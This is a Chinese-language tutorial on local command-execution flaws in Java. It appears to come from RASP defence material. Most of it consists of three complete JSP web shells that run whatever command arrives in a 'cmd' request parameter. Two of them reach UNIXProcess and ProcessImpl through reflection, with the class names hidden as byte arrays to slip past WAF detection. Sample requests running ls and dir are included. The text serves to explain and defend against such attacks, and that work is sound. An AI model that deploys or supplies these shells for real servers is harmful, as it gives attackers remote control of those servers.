本地命令执行漏洞

攻击者一旦可以在服务器中执行任意本地系统命令就意味着服务器已被非法控制，在Java中可用于执行系统命令的方式有API有：java.lang.Runtime、java.lang.ProcessBuilder、java.lang.UNIXProcess/ProcessImpl。

1. Java本地命令执行测试

示例-存在本地命令执行代码(java.lang.Runtime)：

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.io.InputStream" %>
  3. <pre>
  4. <%
  5.     Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
  6.     InputStream in = process.getInputStream();
  7.     int a = 0;
  8.     byte[] b = new byte[1024];
  10.     while ((a = in.read(b)) != -1) {
  11.         out.println(new String(b, 0, a));
  12.     }
  14.     in.close();
  15. %>
  16. </pre>

攻击者通过向 cmd 参数传入恶意的代码即可在服务器上执行任意系统命令，请求：http://localhost:8000/modules/cmd/cmd.jsp?cmd=ls，如下图：

image-20200920232032191

由于传入的cmd参数仅仅是一个两位的英文字母，传统的WAF基本都不具备对该类型的攻击检测，所以如果没有RASP的本地命令执行防御会导致攻击者可以在服务器中执行恶意的命令从而控制服务器。

2. 深层调用命令执行测试

示例-存在本地命令执行代码(java.lang.UNIXProcess)：

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.io.*" %>
  3. <%@ page import="java.lang.reflect.Constructor" %>
  4. <%@ page import="java.lang.reflect.Method" %>
  5. <pre>
  6. <%
  7.     String[] cmd = request.getParameterValues("cmd");
  9.     if (cmd != null) {
  10.         Class clazz = Class.forName(new String(new byte[]{
  11.                 106, 97, 118, 97, 46, 108, 97, 110, 103, 46,
  12.                 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115
  13.         }));
  15.         Constructor constructor = clazz.getDeclaredConstructors()[0];
  16.         constructor.setAccessible(true);
  17.         byte[][] args = new byte[cmd.length - 1][];
  18.         int      size = args.length; // For added NUL bytes
  20.         for (int i = 0; i < args.length; i++) {
  21.             args[i] = cmd[i + 1].getBytes();
  22.             size += args[i].length;
  23.         }
  25.         byte[] argBlock = new byte[size];
  26.         int    i        = 0;
  28.         for (byte[] arg : args) {
  29.             System.arraycopy(arg, 0, argBlock, i, arg.length);
  30.             i += arg.length + 1;
  31.         }
  33.         byte[] bytes  = cmd[0].getBytes();
  34.         byte[] result = new byte[bytes.length + 1];
  35.         System.arraycopy(bytes, 0, result, 0, bytes.length);
  36.         result[result.length - 1] = (byte) 0;
  38.         Object object = constructor.newInstance(
  39.                 result, argBlock, args.length,
  40.                 null, 1, null, new int[]{-1, -1, -1}, false
  41.         );
  43.         Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
  44.         inMethod.setAccessible(true);
  46.         InputStream in = (InputStream) inMethod.invoke(object);
  47.         int a = 0;
  48.         byte[] b = new byte[1024];
  50.         while ((a = in.read(b)) != -1) {
  51.             out.println(new String(b, 0, a));
  52.         }
  54.         in.close();
  55.     }
  56. %>
  57. </pre>

示例-存在本地命令执行代码(java.lang.ProcessImpl)：

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.io.InputStream" %>
  3. <%@ page import="java.lang.reflect.Constructor" %>
  4. <%@ page import="java.lang.reflect.Method" %>
  5. <%@ page import="java.util.Scanner" %>
  7. <%
  8.     String str = request.getParameter("cmd");
  10.     if (str != null) {
  11.         Class clazz = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108}));
  13.         Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
  14.         constructor.setAccessible(true);
  15.         Object object   = constructor.newInstance(str.split("\\s+"), null, "./", new long[]{-1L, -1L, -1L}, false);
  16.         Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
  17.         inMethod.setAccessible(true);
  18.         InputStream in = (InputStream) inMethod.invoke(object);
  19.         Scanner     s  = new Scanner(in).useDelimiter("\\A");
  21.         out.println("<pre>");
  22.         out.println(s.hasNext() ? s.next() : "");
  23.         out.println("</pre>");
  24.         out.flush();
  25.         out.close();
  26.     }
  27. %>

这部分对于 linux 和 windows 系统的攻击代码有所差异，但原理上一致。

Linux系统，请求：http://localhost:8000/modules/cmd/linux-cmd.jsp?cmd=ls，如下图：

image-20200920232507347

Windows系统，请求：http://localhost:8000/windows-cmd.jsp?cmd=cmd%20/c%20dir%20，如下图：

image-20200920233748774